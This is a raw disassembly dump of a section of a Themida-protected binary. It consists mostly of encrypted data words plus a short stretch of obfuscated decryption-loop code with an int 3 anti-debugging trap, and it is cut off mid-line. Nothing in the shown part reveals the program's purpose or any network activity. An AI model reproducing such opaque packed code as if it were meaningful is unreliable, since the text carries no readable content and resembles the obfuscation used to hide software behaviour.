0D60445ABh, 63CB35E3h dd 44321061h, 2234FC66h, 4DC1566h, 0BECD53DEh, 4436F9E7h dd 16BB1566h, 77524E42h, 0E9186ADEh, 4436AA31h, 0D9331566h dd 921629EDh, 85DB11A2h, 60321566h, 4A79C616h, 0CB995FA9h dd 88268A91h, 4432AC37h, 0D3331566h, 1132AF34h, 42331566h dd 1D680F65h, 0FD09406h, 40097E73h, 54FBAB00h, 0C1B9743Fh dd 25D6362Bh, 14BB1A06h, 31321566h, 4C6D2214h, 0A953CDECh dd 0F52770F3h, 90B91A61h, 24321566h, 2DDBFAD3h, 52321566h dd 0A9995214h, 1A958941h, 0C118265Dh, 4253158Ah, 0F153B3DDh dd 0AFF3561Fh, 0A3E9E263h, 2506E795h, 0D3EC3C9Ah, 4432068Fh dd 4722F666h, 0E426E7EFh, 0BB2CBAAh, 0DB93443Eh, 72379178h dd 31DFA8E5h, 87331282h, 4434D1E2h, 2239FC66h, 0DAAB1566h dd 6BBF98D9h, 226E245Fh, 2DEA2E41h, 11321FE4h, 5209E066h dd 45489369h, 0ABCA1566h, 0F51C14D3h, 81DBED61h, 30321566h dd 0F6532A4Bh, 38D56B01h, 711288EDh, 0C23D128Dh, 2232156Ch dd 1132108Fh, 0E7EDDC66h, 0FD631898h, 60F75F93h, 1165967h dd 0AC6E143Fh, 605E946Ah, 0E778E06Ah, 0AB547524h, 35470DDh dd 16DB74B5h, 2D321560h, 113207EEh, 883FFC66h, 5DD31566h dd 0B6563A4h, 0F5CB7731h, 87414D23h, 443209E2h, 34BD1A66h dd 0F8321566h, 88321577h, 0BFF1D752h, 0B6B1495Ah, 8C276030h dd 4B386AE7h, 600E9E25h, 0A3D49C30h, 113211A0h, 8CF49666h dd 181621E1h, 0A887306h, 11BA1A32h, 0E9321566h, 64DF90A1h dd 22331282h, 0A6521566h, 9AB6AFA5h, 0BD5359F6h, 741609EDh dd 0D7B3F3EFh, 88321562h, 0C336D3E5h, 426E3152h, 11319B69h dd 3541566h, 45B41AA4h, 0DE321566h, 3506EA07h, 8CF6963Fh dd 4434FC06h, 92581566h, 0B714766h, 88239D69h, 48DB1566h dd 75321566h, 0D6EDE4C6h, 0B5F8CEDAh, 2577506Dh, 751621EDh dd 0D6B3F2EFh, 88321562h, 0C336D2E5h, 2D6E315Ah, 113207E2h dd 883FFC66h, 0E6551566h, 9B2199F7h, 648B49D4h, 0DEABAD68h dd 0FE60F3EFh, 22321562h, 9268C367h, 0BCB511A0h, 4CDB4942h dd 0A321566h, 86DF571Ah, 8707A289h, 443219E5h, 24B61A66h dd 1E321566h, 883215E3h, 927DFC66h, 0A352EA99h, 18B95BA4h dd 0E9BFA167h, 5F77A8E5h, 2D331282h, 113709E2h, 1519E066h dd 43D6362Bh, 22339869h, 9AC71566h, 6C29FCEBh, 4438FC61h dd 16A1566h, 0BC381C69h, 18B58751h, 5415D4E7h, 0FB332361h dd 724CAD36h, 0BD7A13AFh, 28494B98h, 643A574Bh, 485C1047h dd 0BD7A2FE0h, 0F1C78BEFh, 426AD44Fh, 1132128Eh, 0C7657966h dd 0B38438D3h, 22321E8Fh, 0ADE1966h, 3744EF2Ah, 0E37D6C28h dd 9961743Eh, 4F243DCCh, 0A169CC4Fh, 0EEF3949Fh, 426C034Eh dd 91C09400h, 51851A3Ah, 2C674307h, 27B3094Dh, 0CBF7943Bh dd 1C86B85h, 0B51B4888h, 0A53D7538h, 11321566h, 0E9EC9E00h dd 1F854600h, 7954EDEEh, 9E36DD98h, 88279469h, 0C93D1566h dd 22321569h, 11321F8Fh, 0F763FB66h, 0A5C0713Ch, 88FCF885h dd 0CFB84206h, 82B1AC39h, 14534B32h, 2229700Eh, 353E9C66h dd 61CB4C3Eh, 44321568h, 912A6E5h, 5D9FC48Ch, 0A177C2C2h dd 0B199EB13h, 72D39C37h, 113211DEh, 0D0F31466h, 0C336D4E5h dd 0CB6E316Ah, 11321572h, 2610CE32h, 54BF7D4Fh, 0E3A78389h dd 0E484FE49h, 952B4720h, 1F162199h, 2236D1E7h, 0F8CE1566h dd 8832156Ch, 8F658D8Eh, 0B26C6FABh, 25CD28FFh, 4CB14C42h dd 70CDED62h, 0E6B14B42h, 1B91A62h, 87321566h, 44321FE6h dd 2237FC66h, 40FA1566h, 61A840D7h, 44321577h, 0E5F99417h dd 712F903Eh, 26B1BBFAh, 0FFE0873Eh, 7A664582h, 11321163h dd 8CF29666h, 181611E1h, 0FA17FC93h, 9D3DEA99h, 88321567h dd 64B7D29Ah, 2035FE9Fh dd 0F8321566h, 8832156Ah, 0DC6984CDh, 0D9C83E36h, 0D2B9C1F3h dd 1C59C31h, 600E9E9Dh, 0DB36D1E5h, 113DFD06h, 0FD8A1566h dd 0D3ACC7A1h, 87BFD2C0h, 0D6C4B1ABh, 8835FC3Bh, 5C3E1566h dd 885B9D5Fh, 0A63D4C66h, 3E3D74BFh, 0BDB2E968h, 6AB11AE6h dd 0F8321566h, 88321577h, 79943803h, 0FECEDCA9h, 4105BE6Bh dd 0E0A84636h, 7AF194A2h, 0A31F1807h, 6A68818Dh, 9F91430h dd 3F6881A5h, 1CD99430h, 0ED1F1807h, 77CDAF34h, 971BEA99h dd 9EDBE93Ch, 71321566h, 56D8AE00h, 0C553D4EDh, 2232118Ah dd 352E9C66h, 4FCC26D1h, 0A3B2C290h, 2ADD9574h, 913AFAA6h dd 711AEA91h, 45B81A3Dh, 0DE321566h, 113C9C69h, 81DB1566h dd 3B321566h, 0ACE95571h, 0E3DA5A12h, 8832150Eh, 603E3C66h dd 0A11619EDh, 923D11A2h, 8832157Fh, 44219669h, 2CDB1566h dd 0F321566h, 780C3B98h, 272F1379h, 0C451873Dh, 306E7D04h dd 0A4BB1566h, 428DA842h, 0E7B355E7h, 0AE4CEF26h, 876FFC47h dd 44320CEFh, 2226FC66h, 82721566h, 59640D45h, 9E9587h dd 83E8B0AEh, 3C0EEF34h, 36640B71h, 4C5B696Ah, 0B6CE667h dd 1DD994ADh, 873A7C1Ah, 443214E5h, 0A9CAE066h, 0F51158E3h dd 8837FC61h, 1D011566h, 0A983D053h, 0F52770F3h, 0F3D7561h dd 44321560h, 8319DBE7h, 953D1450h, 88321566h, 0BF37FC07h dd 0E5CBEA99h, 0FACB35E3h, 88321761h, 0CF547566h, 0AB6374A0h dd 3DB34497h, 0B9066342h, 87B34E46h, 2032110h, 1D88753Fh dd 867FF44h, 0AD536C83h, 22321576h, 20712A59h, 0AF511CC0h dd 6A998BD8h, 35319947h, 0E43CA369h, 87B2ECE6h, 443266E5h dd 0A9547566h, 0DE8B739Dh, 63B3744Ah, 26A96345h, 37FBFEE7h dd 0DA333EEDh, 9DFBD6E7h, 87B33EEDh, 40A96345h, 11321D8Fh dd 0E10A66h, 5F80AB15h, 238B44FCh, 10321566h, 43D4CADh dd 44321572h, 22321A8Fh, 415EF066h, 2682ADD9h, 0F4079729h dd 2FF7C03h, 11399A69h, 8EDB1566h, 5E321566h, 0B1489579h dd 119BFCFBh, 8DDB1566h, 41321566h, 26136372h, 39CDA334h dd 0AC269E97h, 4436D1E7h, 4ACB1566h, 11321566h, 0F81639E7h dd 6D405618h, 26B3316Ah, 524C6542h, 61524C14h, 44321572h dd 0CF567E35h, 5A2DDE5Fh, 4E2E2C22h, 371C78FCh, 986B1B62h dd 1132128Fh, 0C67F9B66h, 0EF539939h, 0DD894607h, 30321566h dd 0AC2E9EBFh, 4436D1E7h, 74521566h, 0F86A86D6h, 8832156Dh dd 0A5125C1Ch, 9AB42727h, 70E5D5C7h, 0BC21D6E7h, 0AFB36D2Ch dd 107D4287h, 0D2B3DE4Fh, 0BA7D4287h, 7021FEE7h, 44526D2Ch dd 683CEE7h, 87537506h, 443215EEh, 0A9537466h, 0F51158E3h dd 95BB1A61h, 4B321566h, 223202E1h, 1120FC66h, 86E31566h dd 0AD9FC9FAh, 314B2F71h, 0F97BA712h, 86E6971Ah, 515780EDh dd 2CDB1282h, 0A6321566h, 65FD1449h, 0A7F9D864h, 51BAC679h dd 548F96D8h, 8935F17Dh, 0B3089169h, 2CDBEA99h, 8C321566h dd 1CEA320Bh, 5D0EF373h, 947CC731h, 1EEA2EB4h, 88320AE4h dd 4423FC66h, 0CDFC1566h, 1D89DC2h, 0B5F292A4h, 0A982D89Fh dd 1B5EC9ABh, 0ADB41AB5h, 7DCDEA8Bh, 1BBBAD36h, 2F727380h dd 108A5A5Ch, 0C831F5A7h, 49303B63h, 7AF414A6h, 15DE969Ah dd 91621EFh, 1A9B314Ah, 0A36B4796h, 0E16CBCA7h, 80B81A34h dd 24321566h, 22329A69h, 90531566h, 9D7875A7h, 12CB3C42h dd 7E7397D8h, 0CFF49419h, 0A196AC6Eh, 0C23D4B97h, 22321567h dd 0AA61479Fh, 0A1B13E92h, 7FEFFEE7h, 0E1B34FFEh, 68197263h dd 4CD19425h, 0C535A301h, 27250595h, 0E0F1946Eh, 1C5F9C9h dd 951B4EBCh, 32DB753Ch, 7A321566h, 0D408353Ah, 3D1029C7h dd 4CA99D8Dh, 70EB878Fh, 0D9B5A037h, 0A1F2ECD3h, 20D7D56Eh dd 0D15CF0E6h, 65B21683h, 1DDA9DF8h, 0D76BFD66h, 9152E9CCh dd 373D82ABh, 15627497h, 63E9E3Eh, 1136D1E7h, 23CE1566h dd 97EBFC9Fh, 73C7EA99h, 113215DFh, 73DB9466h, 45078004h dd 0D9F39497h, 9B078004h, 93D4C67h, 44321576h, 22321E8Fh dd 27D43A66h, 0AB89FA8Dh, 0A6EC4BE6h, 0A63DFD5Ah, 1132155Dh dd 88321D8Fh, 2801B066h, 42D64BC0h, 0E48D42BBh, 7F57262Fh dd 95E5E2B1h, 0D8DD9489h, 46008CC2h, 61C74A3Eh, 4432140Ah dd 22321B8Fh, 20FBAF66h, 9D211D2Ah, 653FB7EDh, 4AD74157h dd 11323406h, 0E81609EFh, 22F89E00h, 3B15D3E7h, 98624707h dd 0D0F09C96h, 4B68C6EFh, 22321DE4h, 13B31A66h, 0E8321566h dd 458A4507h, 27321566h, 1E372E01h, 0EF1FE567h, 473D105Dh dd 25DB4D7Eh, 3E321566h, 47A6AF44h, 0C63D8EA0h, 22321567h dd 148C439Ah, 9321566h, 0CF434AA5h, 0A3C11470h, 9A434A8Dh dd 60524B70h, 44321560h, 26CCC1D4h, 0A63D59CDh, 8DDB4CBCh dd 1E321566h, 0BCD7B9A9h, 0A0637307h, 0EEFA9D54h, 0B2F2EB3Fh dd 0DA1721BEh, 1132128Fh, 887DE966h, 0F9F84E9Dh, 688A75CCh dd 912C6FAFh, 9536C92h, 0CC5E10A5h, 0C8D9942Eh, 3841773Ch dd 62F1949Dh, 0C541773Ch, 0AA5E108Dh, 7963EC2Eh, 88321562h dd 1DF93C3Fh, 223D9C69h, 1BDB1566h, 62321566h, 0A16C1CEDh dd 0C8B4D15Eh, 20EA2408h, 0E8EA24A5h, 85AAE7E7h, 89532DDFh dd 3506EA9Fh, 8CF6963Dh, 442A9269h, 44521566h, 0F8A922DDh dd 8832156Bh, 6397EA2Dh, 0EEFE7666h, 414CF301h, 326074F7h dd 44321563h, 36B9C367h, 15F69442h, 0E8321566h, 1B8DC1ECh dd 4375C7B5h, 1133AE35h, 1601566h, 1EE29CBCh, 37BC1A3Dh dd 0F8321566h, 88321576h, 2A036EFAh, 86E725C1h, 0F94C3B58h dd 13B3B43Dh, 4421FCA5h, 5E6D1566h, 0F53411CDh, 820BBFEEh dd 698BF11Bh, 0FA35BDD4h, 0F1BB4592h, 88321163h, 44363866h dd 26B51566h, 1DBB4942h, 8835FC42h, 0CDAD1566h, 0C3630DD2h dd 27CD7366h, 0AC369E00h, 0AD30D1E5h, 22321563h, 5E782E81h dd 87F12988h, 44331BE2h, 0E90EE066h, 10379169h, 0B4CE1566h dd 2B61AA4h, 42321567h, 0EFB97334h, 0E9EC9F39h, 0C03DDF5Ah dd 22321453h, 1132188Fh, 0C45DC866h, 9160DF88h, 53F8A228h dd 2C5476F1h, 0C3D3099h, 4432140Fh, 22339069h, 77CE1566h dd 87CD3B5Bh, 443295E3h, 3BB71A66h, 0F8321566h, 88321572h dd 0F38C8B3Dh, 0F5870C5Ch, 0AC96974Ah, 4AA0261h, 212488AEh dd 2236F9E7h, 0DBB1566h, 8830AE42h, 0B7331566h, 2D6916ECh dd 113211EFh, 7AB97566h, 0C2844707h, 0DC31FBA6h, 8F495A8h dd 44864500h, 1C54F356h, 0A207E3E6h, 0E1123490h, 348D753Ch dd 24375458h, 436C459Ah, 1E922907h, 883322E2h, 443DFC66h dd 7B531566h, 0BDF3D53Dh, 49BD21F1h, 2345307h, 606EACBh dd 15F6943Fh, 7D321566h, 350BA833h, 0D7B300F3h, 7F0626E5h dd 496FFDEFh, 1307168Eh, 2D3D614Eh, 113214E2h, 7BDBE966h dd 0B8321567h, 2237FD06h, 69161566h, 0E8A50122h, 75534B07h dd 28DB75AFh, 36321566h, 0C0AC88A6h, 28885FDAh, 0E8B973D9h dd 728F4007h, 7F0AC336h, 27C794B3h, 0B0AC336h, 1E52488Fh dd 883217EBh, 4BFBA366h, 0CB53EAD1h, 11321580h, 88339C69h dd 24CA1566h, 0FE4201D9h, 0E9B97358h, 7F8D4207h, 0C56D2A4Ah dd 5E7D7091h, 0D2D59446h, 0D83C1E43h, 734433DEh, 1EB1835h dd 0B81717D6h, 0AD05C26Bh, 7CF03E1Bh, 0EE1FC591h, 10E8CEF8h dd 47B34DA1h, 55574154h, 0F789FAE7h, 0E8BB2683h, 8837FC39h dd 4FD51566h, 0CB0426E1h dd 113215E0h, 0E062429Ah, 3B4D26EEh, 27D2D43Eh, 1FB12026h dd 4F0747B1h, 0CDC2E075h, 0CDF34DA1h, 77DD946Eh, 13258A2h dd 4CDB4A9Fh, 67321566h, 0BED3934Bh, 61A1BC1Eh, 44321528h dd 223F9069h, 0AE521566h, 92AEA17Eh, 44329469h, 0D7531566h dd 1575AB30h, 6EF316A5h, 3DC946Eh, 6C61160Dh, 30D7F3E7h dd 7EB33883h, 643214C1h, 16B9E4EFh, 15F69642h, 8832048Fh dd 0D699D766h, 8D9260F5h, 9C8994A7h, 798DBB7h, 0E0C1F581h dd 2232188Fh, 0BAB72366h, 9B7AEE89h, 5F472133h, 0AFB95971h dd 16D60003h, 883E9969h, 0C33D1566h, 22321560h, 11329669h dd 8EDB1566h, 0D4321566h, 2A2012A4h, 1EFB908Fh, 88320AE3h dd 4421FC66h, 19441566h, 0C34A278Dh, 24F55AFFh, 52C47FBh dd 1093AFB7h, 74879C40h, 7D35F173h, 171619EDh, 0E1B3F6EFh dd 11321562h, 0F36D6E5h, 4B6E317Ah, 223202ECh, 1120FC66h dd 0FCD1566h, 0B7E6C8D1h, 0E0ED537Eh, 0FDF85D6Ah, 0B61A70DFh dd 0FF614393h, 22321567h, 9869CBEFh, 87524B96h, 443217E4h dd 0CA39A366h, 11321574h, 0D951E6EBh, 0BDB17A7Ch, 0E931353Dh dd 9DAE8B6Fh, 0C3D744Ah, 44321566h, 0DBF1743Dh, 9836F9E5h dd 8889317Ah, 45321566h, 21B97395h, 9054753Dh, 0D8222A81h dd 256A7406h, 0A63DD65Ah, 113214BAh, 8832078Fh, 4E3AF866h dd 0DA3CA000h, 5C0B5216h, 18525459h, 2482E48Dh, 22349E69h dd 973D1566h, 88321566h, 15537506h, 70537439h, 9963D7EEh dd 0D1F99DB7h, 443DFC3Ch, 14E61566h, 71B0459Fh, 0CA7861ADh dd 8AC861DDh, 8582459Bh, 5816EA62h, 0D106BC62h, 246AD646h dd 22319269h, 9A541566h, 0E9C2A0A8h, 4B42EEE6h, 223637E2h dd 0A9547566h, 73D1A18h, 4432156Bh, 22321D8Fh, 0AF710366h dd 601CD564h, 0AD0E748Dh, 237C9169h, 2DCE1566h, 0CDB61A8Dh dd 0BD321567h, 0D9B97306h, 0D30E7493h, 89049169h, 0C93D1566h dd 22321577h, 1132198Fh, 0E3DCBA66h, 1C8D2597h, 0ABDA6Bh dd 1EF92992h, 883302E2h, 48BE1A66h, 2D321566h, 113213EEh dd 88BC1A66h, 22321566h, 2D17EA5Bh, 1132EEE2h, 3F3D7566h dd 225274A8h, 1D39F7E7h, 0DAF79537h, 420E7439h, 44D09169h dd 1ECA1566h, 9DB61A85h, 61321565h, 44321560h, 188FEE5h dd 1FDB62D7h, 5E321566h, 0FBAB77D1h, 7EC7312Dh, 8A75376Ch dd 0A60F7369h, 18B71A99h, 42321566h, 0F6B3739Ah, 0D9535748h dd 4432170Eh, 0D3334C66h, 716B14ECh, 492661D9h, 1753E91Eh dd 0A22EA334h, 0E7B2B390h, 0D2C59D59h, 6459D2E6h, 44524E9Eh dd 29A3DEE7h, 8832048Eh, 8A018A66h, 436AE6F2h, 9B0AEE99h dd 4C417B23h, 0B7B34AB5h, 0F85076Ah, 0B10E7438h, 88649169h dd 2CCA1566h, 22326C26h, 0AE1629EFh, 0F0232061h, 337F2A7h dd 82D3FAE7h, 0E9BB1740h, 82DA7539h, 99321566h, 31BFA89Ch dd 0DAE3756Eh, 46D09591h, 443AFC3Dh, 0AE961566h, 0BF25A8D2h dd 61534E62h, 4432151Eh, 22321A8Fh, 0B15E0066h, 0A599A65Ah dd 1214173Ah, 6E21A481h, 457A0EFh, 84DB1282h, 0C3321566h dd 0A4E188B9h, 17714BD9h, 7DF2C21Fh, 8D0A88EBh, 0DDC7128Ch dd 1ADA75B5h, 85321566h, 0E47AA76Bh, 40C2BEDEh, 4B60AFEAh dd 3664743Eh, 4B323DACh, 0ECB5CB91h, 0DFB5C491h, 0EB2FF3E7h dd 0C57C4105h, 22121288h, 4FC29C62h, 88321E8Fh, 0C64A1766h dd 0D2B3619Eh, 554C679Eh, 73DE0A5h, 44321572h, 22BF1A06h dd 0F8321566h, 88321561h, 6BD1CEA5h, 4342B6FBh, 1160480Eh dd 0AC369C66h, 52B51A9Ah, 2D321566h, 113205ECh, 8839FC66h dd 973B1566h, 0BBECA214h, 0AB298765h, 8CDE9615h, 0FD1619EFh dd 22321576h, 10B9E467h, 33D753Fh, 44321560h, 22329B69h dd 0E3B31566h, 0C4804456h, 0B9B79C07h, 4235F14Fh, 90B0AB00h dd 88329369h, 0BB531566h, 0A16A3152h, 2DB11A2h, 15321566h dd 0B11820FAh, 0FEFE46E4h, 5C79831Bh, 0A6ED97AFh, 0FB65FB2Bh dd 2232157Ah, 2DB9EB67h, 8CF69442h, 24321566h, 22309869h dd 0CEB91566h, 0CCF9AB00h, 5CB81A07h, 0CB321566h, 11321575h dd 0A5D9E938h, 3314B0FAh, 0A6BD24ACh, 0B8C08942h, 5D15A93h dd 0A02AC0DBh, 2220FC61h, 0F2D81566h, 83DA5B4Ah, 0EF678D20h dd 0B1A2ADF9h, 73704E15h, 3163EDCBh, 2C574B1Ch, 216BDD4Fh dd 14163122h, 0E0574B1Ch, 4432018Fh, 420DB366h, 0AC748388h dd 25627F07h, 5D5073h, 81C43D0Bh, 1E52BE25h, 883217E7h dd 0C4F9A566h, 0AF53A08Bh, 0F5271CDBh, 83B41A61h, 24321566h dd 2DC29E00h, 113215E6h, 0E89F7466h, 43DBCCEDh, 0FD321566h dd 72E55768h, 0DE5379F3h, 723ADD8h, 20D4D435h, 9030FBA7h dd 2A08DB80h, 0D6DC9453h, 0BDFD98Ch, 55314B96h, 7E373142h dd 24112043h, 42F09400h, 80897368h, 1677449h, 40F79483h dd 0A1321566h, 3DB5118Bh, 8CBB4942h, 96817542h, 8953B3D3h dd 1132068Fh, 78A0A366h, 418CE905h, 6C9E1754h, 84432D0Eh dd 98C15924h, 6257A8EBh, 0A83D1282h, 11321563h, 71537506h dd 41DBB807h, 0A4321566h, 0AAA076F8h, 8832188Fh, 0D6D18566h dd 96FB625Dh, 566C8EBEh, 3765B321h, 462242D2h, 216DED67h dd 3C1A3122h, 8A2242D2h, 44379569h, 75521566h, 0BA53E038h dd 8AE19406h, 4B0D4026h, 0A953DFD1h, 98643152h, 8CF49480h dd 0C7321566h, 16B511A0h, 963D4942h, 88321546h, 4420FD06h dd 9C9B1566h, 7271C44Eh, 460ABA47h, 354184F5h, 0EB9386B8h dd 11B01A3Fh, 0E9321566h, 0F33D75A5h, 0F9B37396h, 9053D668h dd 8832118Ah, 60069C66h, 0FD851A06h, 11319A69h, 373D1566h dd 0D9BF74A6h, 25D8DD3Dh, 11321A8Fh, 0BB6B9C66h, 0D883CA6h dd 98951D06h, 6CE47A41h, 8FDBC699h, 7F321566h, 220BF551h dd 0A5DBB923h, 87CDEA9Ah, 3214ECh, 0CEDFF500h, 0A86CD24Eh dd 458AFD4Ah, 0D5F251A2h, 0AE2475C0h, 0A8ED96A5h, 458A152Ah dd 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah, 162C5E89h dd 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah dd 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah, 54A851D6h dd 0BA8660D5h, 0CE2559D7h, 4261BCBFh, 3832DCF1h, 0BA8DFE80h dd 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h, 0BF01F438h dd 0DF07462Dh, 5343FBCEh, 3C6D5h, 5492B85Eh, 3075152Ah dd 5CDDAEAEh, 0EC3B8FA7h, 0D9FB5649h, 0AE2079B0h, 0DD7BAEA5h dd 5863E96Fh, 0ABA851A2h, 3075195Fh, 0E932DCAAh, 168DFE83h dd 0FEC4CB2Fh, 967512C1h, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h dd 4582D7E3h, 3044BAh, 499D8D00h, 0B807E40Fh, 2490h, 0F58589h dd 0E807E4h, 58000000h, 0D05h, 0E9038900h, 2490h, 49h dup(0) dd 83000000h, 0A4F305E9h, 5203CB8Bh, 6612E208h, 0FD952F82h dd 5310FB75h, 0B959473Ah, 3256D5BAh, 3256EC58h, 0CD96CCB1h dd 3DD2BF71h, 32564B38h, 22D0A1B1h, 0DB5657B1h, 3256ABBAh dd 0E9839ADBh, 0B0A4F305h, 0F29D11F1h, 2375FD7Ah, 0DE2A17FBh dd 0D525FA91h, 0ADFDF53Fh, 909E9C30h, 0CFB73422h, 0B723AC7Ah dd 1A20AD29h, 7975FD7Ah, 3C987C27h, 0A0721618h, 83152CFFh dd 0A4F305E9h, 0BD8DDB8Bh, 7EBF924h, 81078D8Dh, 44B807ECh dd 2B321566h, 2E9C1CFh, 0C8D00731h, 4904C783h, 0CE9F675h dd 0AE000000h, 0FFD2EE24h, 780BAA22h, 0E9BF6215h, 10h dd 0FF62D5DEh, 0F2722432h, 0BAC803AFh, 64E10DE2h, 9E9h dd 0FB0B4B00h, 46F8D4A4h, 0DF68C03Fh, 89000013h, 0E9582404h dd 0Eh, 30AD4D67h, 5155DEDBh, 0B52220B4h, 0BD83F822h, 7E413F1h dd 83097500h, 0E40935BDh, 19740007h, 0C08B5350h, 411B8h dd 0ED858900h, 8D07E40Eh, 0E6EA579Dh, 5BD3FF07h, 35BD8358h dd 7E409h, 53501774h, 411B8h, 0ED858900h, 8D07E40Eh, 0E6E6F89Dh dd 5BD3FF07h, 0B960F858h, 41252E77h, 48B5061h, 4C48324h dd 6E9h, 1B141800h, 0F82DE1D4h, 5E8h, 0EA781A00h, 0D580E360h dd 8F0F5827h, 9, 3830Fh, 0CD800000h, 14C081BDh, 6800005Dh dd 0 ; --------------------------------------------------------------------------- and cx, 9C48h pop ebx mov ch, bl loc_60A934: ; CODE XREF: Themida_:0060A9B6j push dword ptr [ebx+eax] push edx mov dh, 96h pop esi pop edi jmp loc_60A955 ; --------------------------------------------------------------------------- db 9Dh, 2 dup(0F3h) dd 0EE8C7609h, 0AC2F6C0Ah, 1E21D045h, 0BE86A016h db 0EFh ; --------------------------------------------------------------------------- loc_60A955: ; CODE XREF: Themida_:0060A93Cj xor edi, 5CCF7CF6h mov cx, 0E1F6h add edi, 3894772Ch pusha mov ebx, edi xor cl, 0F5h popa sub edi, 75C1AE93h movzx ecx, dx push edi add esi, 217B4FE1h pop dword ptr [eax+ebx] mov dx, 4664h sub ebx, 2 sbb ecx, 42AA65A2h dec ebx dec ebx jge loc_60A996 mov ecx, ebx loc_60A996: ; CODE XREF: Themida_:0060A98Ej cmp ebx, 0FFFFA3A4h jnz loc_60A9B4 mov ecx, 2C17070Ah jmp loc_60A9C5 ; --------------------------------------------------------------------------- dec ebp adc [ebx], edi int 3 ; Trap to Debugger and al, 64h adc al, 77h loc_60A9B4: ; CODE XREF: Themida_:0060A99Cj mov dl, 84h jmp loc_60A934 ; --------------------------------------------------------------------------- db 66h dd 37C6439Eh, 0BBA26105h ; --------------------------------------------------------------------------- xchg eax, esp loc_60A9C5: ; CODE XREF: Themida_:0060A9A7j jmp loc_60A9D4 ; --------------------------------------------------------------------------- dw 910Dh dd 5489h, 0 ; --------------------------------------------------------------------------- loc_60A9D4: ; CODE XREF: Themida_:loc_60A9C5j jmp loc_60AEC5 ; --------------------------------------------------------------------------- push 7EC8646h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EC86C5h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EC8864h jmp loc_58A287 ; --------------------------------------------------------------------------- retn 0C8EAh ; --------------------------------------------------------------------------- dw 1E34h dd 7B912545h, 0DBF1859Fh, 3E54E8FCh, 0DAB34763h, 44603B14h dd 0A2C09AB0h, 41AF80Eh, 657D5A70h, 0F16E1ED1h, 13AE250Ah dd 56F483C8h, 710F5F7Bh, 0A66C7E92h, 4FE3FBD8h, 8F390375h dd 0DEA46E38h, 95E6A9CCh, 0CF6AA2B6h, 917D027Fh, 70D91442h dd 0F365C717h, 5EF86E19h, 25DA571Ch, 0B114428Ah, 8763EF48h dd 64625B6Dh, 3213A6A1h, 49A2B896h, 0F69B6411h, 1F3013A6h dd 0BBC83767h, 0FD0DD877h, 36000002h, 0E81C745h, 70DE50A0h dd 90162549h, 0F3704E60h, 13A61C25h, 76818AF3h, 0EEC37AFCh dd 4D9D117Eh, 0EC82B2D0h, 9FD74016h, 97E7C7C8h, 88BFBD1Ah dd 1060C91Eh, 0E97D9572h, 0CEABF6D3h, 57E37EB6h, 8E29617Bh dd 6995E135h, 90D05CF0h, 3380Ah, 0A2C49C00h, 0FF1FF80Eh dd 5F79556Bh, 0C2D6B5CBh, 213D182Eh, 154EB48Dh, 748A1E3Ah dd 0D2E87C9Ah, 344ADEF4h, 0F8AB3F57h, 2634CB48h, 5DA213AEh dd 6C424DCEh, 259F9F1Ch, 19B513AEh, 0FA10EE3Fh, 96CE27C2h dd 7A926FFBh, 0FE4EA742h, 6EE95D8Ch, 2B3DB361h, 0B8D4AF4Dh dd 0CDAC4A24h, 0B28DA7B9h, 31B15E96h, 84EC5151h, 0AEDEA522h dd 137C13AEh, 0F20AE701h, 16BBE29Eh, 0D157976Ah, 2B9h dd 8D21431Bh, 0EA7E9E77h, 4ADEF8D4h, 0AD415534h, 0CA0BC97h dd 0B994CD33h, 19F3099Dh, 735167FBh, 0D6B3C95Dh, 0C7772ABEh dd 0AE26B54Ah, 4DDC2113h, 1162092h, 0DB1DE25Fh, 50B91442h dd 0AF34CFF0h, 99157A9Dh, 956AE749h, 41144205h, 6BE8C6D8h dd 13AE80D3h, 2AC81881h, 64FF374Bh, 1CDF8C52h, 0AB13AF8Ah dd 11AFEA9Ah, 48E31B35h, 0F3A45B36h, 0B531D86Eh, 5A000001h dd 415A7956h, 7317EECEh, 56027EECh, 5E3D72F6h, 22FFCD05h dd 0DB58BA0Ah, 14420B24h, 153749B2h, 0C51599F6h, 0FF840163h dd 5B14420Bh, 0BF087F2h, 0FE5E1442h, 420BFA81h, 96EF5814h dd 0D244A684h, 631F8782h, 968FA15Ah, 13A63414h, 0C8E0BD5Bh dd 5C3BD7B6h, 0E9751048h, 22BDF50Bh, 9DFF91C9h, 0A63B5B20h dd 3E8EF713h, 0A63B3AC1h, 1D2F9813h, 0A63B5B24h, 94DFBC13h dd 0E469FB7h, 0F476740h, 0B7FBAB2Eh, 66164E5Fh, 0D8778299h dd 3B3Eh, 424D6700h, 0E99F1C6Ch, 0A813A6A9h, 637CFE36h dd 1692B1D3h, 9FDA3AA7h, 624153C1h, 43CFEBC6h, 0BBF34C68h dd 98AC8B29h, 2BF28D86h, 485913A6h, 869F601Ch, 0AA38D877h dd 61000000h, 29617956h, 56D33597h, 1442A0A1h, 0A259C42Dh dd 301442A0h, 0C09BB5C7h, 0C19E6CA4h, 0DFBB59A9h, 0E0F28DC5h dd 576F4C1Ah, 0A4F3CEC3h, 67441442h, 0F39CBB4Fh, 3B94AA88h dd 43D06EEBh, 359E13A4h, 7E583E5h, 0C1EB9F1h, 67FB17F2h dd 65A7651h, 6A1BDE84h, 1A43C909h, 0BA000001h, 162CC0E2h dd 73891D3Dh, 0D3E97D97h, 364CE0F4h, 0D2AB3F5Bh, 3C58332Ch dd 9AB892A8h, 0FC12F006h, 5D755268h, 0E96616C9h, 13AE2812h dd 92EC7BC0h, 0EAFC1AF4h, 89D9F5D0h, 0AB368417h, 5FDF9C90h dd 64BD1DF7h, 0AACCDE94h, 0B9FB794h, 16F4923Ah, 0A12DC800h dd 819BADC3h, 86548CA4h, 0DEFD91A9h, 4BADFDB1h, 0A6B8D0ADh dd 0A6EF35ADh, 0AEFE6713h, 85193510h, 0A6F0EF90h, 4B2813h dd 37D20A24h, 59344ADEh, 8E7F053Dh, 0E000000h, 1C6C424Dh dd 0AE25E39Fh, 2940B213h, 2E41A2FAh, 0C3B83585h, 8F13AE0Bh dd 0C5351426h, 5CA59222h, 154DA632h, 0BE526A47h, 7BB3CBA8h dd 0CBCD43CEh, 0DFF7D440h, 0E1FFD9A7h, 255D7B55h, 0A3EF976Eh dd 0DD400481h, 3E54E800h, 7F114961h, 0D7B508E1h, 